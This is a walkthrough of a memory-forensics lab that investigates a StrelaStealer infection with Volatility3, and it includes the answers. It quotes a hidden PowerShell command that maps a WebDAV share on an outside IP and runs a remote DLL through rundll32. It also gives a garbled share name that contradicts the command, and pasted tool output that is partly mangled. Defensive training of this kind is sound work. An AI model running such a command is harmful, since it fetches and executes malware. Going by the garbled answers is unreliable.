As a cybersecurity analyst for a leading financial institution, an alert from your SIEM solution has flagged unusual activity on an internal workstation. Given the sensitive financial data at risk, immediate action is required to prevent potential breaches.

Your task is to delve into the provided memory dump from the compromised system. You need to identify basic Indicators of Compromise (IOCs) and determine the extent of the intrusion. Investigate the malicious commands or flies executed in the environment, and report your findings in detail to aid in remediation and enhance future defense.

Task 1: Identifying the name of the malicious process helps in understanding the nature of the attack. What is the name of the malicious process?

I used the pstree plugin from volatlity3 and found the process powershell with a suspicious command line containes an IP address

Answer: Powershell.exe

Task 2: Knowing the parent process ID (PPID) of the malicious process aids in tracing the process hierarchy and understanding the attack flow. What is the parent PID of the malicious process?

Same like task 1

Answer: 4120

Task 3: Determining the file name used by the malware for executing the second-stage payload is crucial for identifying subsequent malicious activities. What is the file name that the malware uses to execute the second-stage payload?

I used the cmdline plugin and found the powershell command line with the filename

3692 powershell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll.ent

Answer: 3435.dll

lask 4: (Identifying the shared directory on the remote server helps trace the resources targeted by the attacker. What is the name of the shared directory being accessed on the remote server?

Same as task 3, we can see the net use and the IP and the directory

Answer: daymouvroot

What is the MITRE sub-technique ID used by the malware to execute the second-stage payload?

The MITRE sub-technique ID used by the malware to execute the second-stage payload is likely T1059.001, which corres ponds to "PowerShell" under the "Command and Scripting Interpreter technique (T1059). not correct, its look like the malware was executed from the shared folder, so with the powershell Given that the malware was executed from a shared folder using PowerShell, the correct MITRE subtechnique ID would be T1218.011. This corresponds to "Signed Binary Proxy Execution: Rundll32," which describes using "rund1132" to load a DLL file from a remote location, such as a shared directory.

Answer: T1218.011

Task 6: Identifying the username under which the malicious process runs helps in assessing the compromised account and its potential impact. What is the username that the malicious process runs under?

I searched for filescan plugin and grepped for "User"

orker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9aaba763-fc98-449c-9874-08ebd28f3871\f642ef9e1a8695b8 orker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\44540f27-7b9f-43e1-946c-6137bf2715c6\1ndex -\y\sd352c63b76d08d39 0 orker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9aaba763-fc99-449c-9874-08ebd28f3871\f642ef9e1a8695b8 -\y\sd276f36c843be5 0 orker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9aaba763-fc99-449c-9874-08ebd28f3871\f642ef9e1a8695b8 -\y\sd276f36c843be5 0 orker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9aaba763-fc99-449c-9874-08ebd28f3871\f642ef9e1a8695b8 -\y\sd276f36c43be5 0 orker\sq276f36d23075aef16c34a668ceb\9aaba763-fc99-449c-9874-08ebd28f3871\f642ef9e1a8695b8

Answer: Elon

Knowing the name of the malware family is essential for correlating the attack with known threats and developing appropriate defenses. What is the name of the malware family?

I searched for the IP address - "45.9.74.32" in Virus Total

Crowdsourced context © HIGH 1 MEDIUM 0 LOW 0 INFO 0 SUCCESS 0 Activity related to STRELASTEALER - according to source Cluster25 - 1 month ago

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Answer: StrelaStealer